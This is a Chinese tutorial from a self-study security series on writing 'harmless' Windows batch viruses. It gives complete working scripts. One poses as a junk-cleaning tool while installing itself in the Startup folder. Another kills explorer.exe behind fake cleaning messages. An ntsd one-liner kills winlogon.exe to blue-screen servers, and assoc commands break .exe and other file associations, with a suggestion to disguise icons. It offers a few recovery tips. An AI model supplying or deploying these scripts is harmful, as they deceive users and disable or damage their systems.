cmd病毒制作(简易无害的电脑病毒) 电脑病毒制作

91百科网 43 0

本文介绍和cmd病毒制作(简易无害的电脑病毒)相关内容。

电脑病毒制作

代码“echo.”表示空行,比如代码:

输出结果如下图所示:

第三步,接着编写next区域代码,完整代码如下所示。

1@echo off
2title 系统垃圾清理3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====5echo.
6echo.
7
8echo start cmd >c:windowswindows.bat
9::echo %%0>>c:windowswindows.bat
1011copy c:windowswindows.bat "\uSERPROFILE%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup">nul
12if %errorlevel%==0 goto next
13
14copy c:windowswindows.bat "\uSERPROFILE%「开始」菜单程序启动">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中,请不要关闭窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完毕,共清理垃圾500M=======
25echo.
26echo.
27echo =====建议立即重启电脑==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序运行失败,请【使用管理员权限】重新运行!========
34echo.
35pause

注意,我注释了重复操作代码“::echo %%0>>c:windowswindows.bat”,否则开机自启动很麻烦。接着运行代码,如下图所示,需要右键“以管理员身份运行”。

代码会在C:windwos目录下创建批处理文件“windows.bat”。

同时,在我的Win10系统开机自动动目录下也有该文件。

目录:…AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

打开该文件可以看到写入的“start cmd”代码,表示打开CMD。

双击该“windows.bat”文件,运行结果如下图所示。

总结:本文编写了一个系统清理工具,其实是把这个windows.bat写到用户的开机自启动目录下,达到用户每次开机,都会运行该程序的目的,重复调用CMD占用资源。如果中了该病毒,用户可以使用PE到开启启动目录把windows.bat文件删除,或者重装系统,再次建议大家别让它重复运行。

四.进程关闭病毒

再看一个伪装垃圾清理的批处理代码。该命令是杀死进程,“/im explorer.exe”表示要杀死的进程名称,关闭桌面;“/f”表示强制杀死;“>nul”表示在屏幕上不要输出任何信息。

1taskkill /im explorer.exe /f >nul 2>nul

完整代码如下所示,其中“Start c:windowsexpolrer.exe”表示继续开启桌面,“ping -n 5 127.0.0.1>nul”用于消耗时间。

1@echo off
2title 系统垃圾清理
3color 2f
4echo =====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
5echo.
6echo.
7echo.
8echo =====垃圾清理中,请不要关闭窗口=========
9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im explorer.exe /f >nul 2>nul
12echo.
13echo =====拐了,你的系统已经废了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17Start c:windowsexplorer.exe
18echo.
19echo =====已经修复好!是不是吓坏了!!O(∩_∩)O==========
20pause

运行该批处理程序,桌面会消失,如下图所示。

过一会桌面又会恢复。由于作者桌面东西太乱,这里仅显示壁纸展示。

cmd病毒制作(简易无害的电脑病毒) 电脑病毒制作

五.最简单的蓝屏炸弹文件

  • 新建文本文档
  • 输入:ntsd -c q -pn winlogon.exe,表示强制杀死进程
  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
  • txt修改为bat
  • 开始->程序->启动,打开game.bat文件

黑客很少攻击个人,一般攻击服务器,该命令对2003的服务器特别有杀伤力

双击之后,服务器直接蓝屏显示并重启。

ntsd从Windows 2000开始就是系统自带的进程调试工具,在system32目录下。ntsd的功能非常的强大,用法也比较复杂,但如果只用来结束一些进程,那就比较简单了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。lsass.exe也不要杀掉,它是负责本地账户安全的。被调试器附着的进程会随调试器一起退出,所以可以用来在命令行下终止进程。

打开cmd 后输入以下命令就可以结束进程:

  • 方法一:利用进程的PID结束进程

命令格式:ntsd -c q -p pid

命令范例:ntsd -c q -p 1332 (结束explorer.exe进程)

范例详解:explorer.exe的pid为1332,但是如何获取进程的pid呢?在CMD下输入TASKLIST就可以获取当前任务管理器所有进程的PID。或者打开任务管理器,在菜单栏,选择“查看”->“选择列”,在打开的选择项窗口中将“PID(进程标识符)”项选择钩上,这样任务管理器的进程中就会多出PID一项了。PID的分配并不固定,是在进程启动是由系统随机分配的,所以进程每次启动的进程一般都不会一样。

  • 方法二:利用进程名结束进程

命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 为进程名,exe不能省)

命令范例:ntsd -c q -pn explorer.exe

另外的能结束进程的DOS命令还有taskkill和tskill命令。

六.最简单的扩展名病毒

将文件格式修改或文档加密都是常见的病毒,比如永恒之蓝、勒索病毒等,它们就是将电脑内的所有资料、文档加密,当你要打开文件时,需要密码,此时通过比特币付费进行勒索。

下面这个小操作是将exe文件修改为txt文档。当遇到可执行的exe文件,会认为它是一个txt文档,用记事本打开,导致可执行程序运行不起来,这是就是这个病毒的原理。

  • 新建文本文档
  • 增加代码:assoc.exe=txtfile
  • 工具->文件夹选项->查看->“隐藏已知文件类型的扩展名”勾选
  • txt修改为bat
  • 开始->程序->启动,打开bat文件

双击运行bat文件之后,我们的可执行文件就变成了txt文件。此时系统认为exe就是txt程序,把系统的关联搞混乱了,它恢复起来很麻烦。

EXE程序打开如下图所示。

甚至打开CMD都是TXT文本文件。

接着需要执行下面的命令还原exe文件。

  • assoc.exe=exefile

还原的代码及效果如下图所示。

其他所有文件格式都转换为txt文件,如下所示。此时,如果隐藏文件扩展名,甚至可以修改图标伪装成目标应用,当用户点击时会执行这些破坏;但由于不知道目标是否有隐藏文件扩展名,还是不建议这种“笨”方法。

1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...

解决方法:

如果您不幸中了该病毒,怎么解决呢?如下图所示,还原所有正确关联即可。

PS:还有一些病毒,比如VBS脚本、网页弹窗(网站钓鱼)等,这里不再讲解,推荐读者阅读前文“[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探”。如果把病毒程序放到启动项,每次开机都会自动执行。

cmd病毒制作(简易无害的电脑病毒) 电脑病毒制作

七.总结

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第44篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

更多和电脑病毒制作相关游戏内容可以查看本站其他文章。

发表评论 (已有3092条评论)

评论列表